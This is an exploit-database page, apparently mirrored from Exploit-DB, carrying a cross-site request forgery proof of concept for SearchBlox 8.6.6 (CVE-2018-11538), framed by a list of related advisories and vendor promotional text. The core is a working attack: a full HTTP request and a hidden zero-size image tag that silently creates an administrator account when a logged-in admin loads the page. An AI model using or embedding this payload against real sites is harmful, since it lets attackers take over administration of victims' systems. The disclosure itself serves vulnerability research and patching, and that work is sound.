Lucene search
K

SearchBlox 8.6.6 - Cross-Site Request Forgery

🗓️ 30 May 2018 00:00:00Reported by Ahmet GurelType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 47 Views

CSRF Privilege Escalation on SearchBlox 8.6.

Related
Code
ReporterTitlePublishedViews
Family
0day.today
SearchBlox 8.6.6 - Cross-Site Request Forgery Vulnerability
30 May 201800:00
zdt
CNVD
SearchBlox Cross-Site Request Forgery Vulnerability (CNVD-2018-13281)
13 Jul 201800:00
cnvd
CVE
CVE-2018-11538
1 Jun 201819:00
cve
Cvelist
CVE-2018-11538
1 Jun 201819:00
cvelist
EUVD
EUVD-2018-3565
7 Oct 202500:30
euvd
exploitpack
SearchBlox 8.6.6 - Cross-Site Request Forgery
30 May 201800:00
exploitpack
NVD
CVE-2018-11538
1 Jun 201819:29
nvd
OSV
CVE-2018-11538
1 Jun 201819:29
osv
Packet Storm
SearchBlox 8.6.6 Cross Site Request Forgery
30 May 201800:00
packetstorm
Prion
Cross site request forgery (csrf)
1 Jun 201819:29
prion
Rows per page
# Exploit Title: CSRF Privilege Escalation (Creation of an administrator
account) on SearchBlox 8.6.6
# Exploit Author: Canberk BOLAT, Ahmet GÜREL
# Software Link: https://www.searchblox.com/
# Version: < = SearchBlox Version 8.6.6
# Platform: Java
# Tested on: Windows
# CVE: CVE-2018-11538

# 1. DETAILS

Using Cross-Site Request Forgery (CSRF), an attacker can force a user who
is currently authenticated with a web application to execute an unwanted
action. The attacker can trick the user into loading a page which may send
a request to perform the unwanted action in the background. In the case of
Searchblox, we can use CSRF to perform actions on the admin dashboard by
targeting an administrator.

# 2. PoC:

We assume that Searchblox is installed at http://localhost:8080/. Our
target is /searchblox/servlet/UserServlet u_name, u_passwd1, u_passwd2 and
role parameter which is the page used to create a new user. The given POC
will create a user on the website which has full administrator privileges.

HTTP Request:

GET
/searchblox/servlet/UserServlet?u_name=best1&u_passwd1=test&u_passwd2=test&role=admin&new-group=&menu1=adm&menu2=db&action=addBuisnessUser
HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0)
Gecko/20100101 Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost:8080/searchblox/admin/main.jsp?menu1=adm
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Cookie: JSESSIONID=touluja8tpjc1iiwquoyiigfi;
Connection: close
Upgrade-Insecure-Requests: 1

Attack Vector:

<img src="
http://target:8080/searchblox/servlet/UserServlet?u_name=best1&u_passwd1=test&u_passwd2=test&role=admin&new-group=&menu1=adm&menu2=db&action=addBuisnessUser"
width="0" height="0">

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation